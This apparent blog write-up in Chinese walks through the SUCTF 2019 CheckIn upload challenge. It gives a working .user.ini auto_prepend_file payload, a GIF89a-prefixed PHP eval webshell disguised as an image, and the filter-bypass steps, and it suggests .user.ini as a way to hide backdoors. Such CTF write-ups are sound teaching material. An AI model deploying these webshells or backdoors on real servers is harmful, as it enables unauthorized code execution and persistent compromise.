zoukankan      html  css  js  c++  java
  • [BUUOJ记录] [SUCTF 2019]CheckIn

    比较经典的一道文件上传题,考察.user.ini控制解析图片方式

    打开题目给出了上传功能,源代码里也没有任何提示,看来需要先测试一下过滤

    前后依次提交了php,php5,php7,phtml拓展名的文件,发现都被过滤,并且PHP代码中不能含有<?字符

    这个时候首先想到利用HTML的<script language='php'>标签来插入PHP代码

    但是拦截了常规的PHP拓展名,第一时间想到上传一个含有PHP代码的jpg文件,然后利用.htaccess来将jpg文件当作PHP文件解析

    发现服务器中间件是nginx,并不是apache,因此.htaccess并不适用于这种环境,百度学到可以利用.user.ini文件起到.htaccess同样的效果

    这种方法可以参考: https://wooyun.js.org/drops/user.ini%E6%96%87%E4%BB%B6%E6%9E%84%E6%88%90%E7%9A%84PHP%E5%90%8E%E9%97%A8.html

     编写好.user.ini文件上传提示“exif_imagetype:not image!”

    常规套路,文件前加GIF89a后再次尝试,成功上传,.user.ini代码如下:

    GIF89a
    auto_prepend_file=ye.jpg

    之后再上传含有PHP代码的图片ye.jpg,同样使用GIF89a绕过类型检测,ye.jpg代码如下:

    GIF89a
    <script language='php'>@eval($_POST['ye']);</script>

    从题目中可以知道上传的文件都会被包含在上传目录的index.php文件中,菜刀连上获得Flag:

    这里有一个hint,在日常CTF比赛中除非明确需要利用一句话木马来获得Flag,否则一般情况下尽量使用system()函数读取Flag,之前做题的时候直接用一句话木马连接没有找到Flag,最后用system()才读取到了Flag,可能也是出题人害怕被搅屎吧,hhhhhhh。同样需要避免的就是phpinfo()函数,在一些题目环境中会显示不出来phpinfo,所以测试PHP代码是否被执行最好echo一个字符串来看。

    最后总结一下.user.ini在文件上传题型中的应用,直接摘录其他师傅的:

    .user.ini实战利用的可能性

    综上所述.user.ini的利用条件如下:

    1. 服务器脚本语言为PHP
    2. 服务器使用CGI/FastCGI模式
    3. 上传目录下要有可执行的php文件

    从这来看.user.ini要比.htaccess的应用范围要广一些,毕竟.htaccess只能用于Apache

    但仔细推敲我们就会感到“上传目录下要有可执行的php文件”这个要求在文件上传中也比较苛刻,应该没有天才开发者会把上传文件放在主目录或者把php文件放在上传文件夹。

    但也不是全无办法,如果我们根据实际情况配合其他漏洞使用可能会有奇效,前段时间我遇到一个CMS对上传时的路径没有检测../,因此导致文件可被上传至任意目录,这种情况下我们就很有可能可以利用.user.ini

    除此之外,把.user.ini利用在隐藏后门上应该是个很好的利用方法,我们在存在php文件的目录下留下.user.ini和我们的图片马,这样就达到了隐藏后门的目的。

    引用自:https://xz.aliyun.com/t/6091

  • 相关阅读:
    execl csv导出
    input里面check 状态检测
    注意这种方法的判断
    本周,上周,本月,上月
    bootstrap 兼容IE8设置
    js jquery 验证写法
    Jquery radio checked
    最简单的XML转数组
    eq,neq,gt,lt等表达式缩写
    python中的注释
  • 原文地址:https://www.cnblogs.com/yesec/p/12403184.html
Copyright © 2011-2022 走看看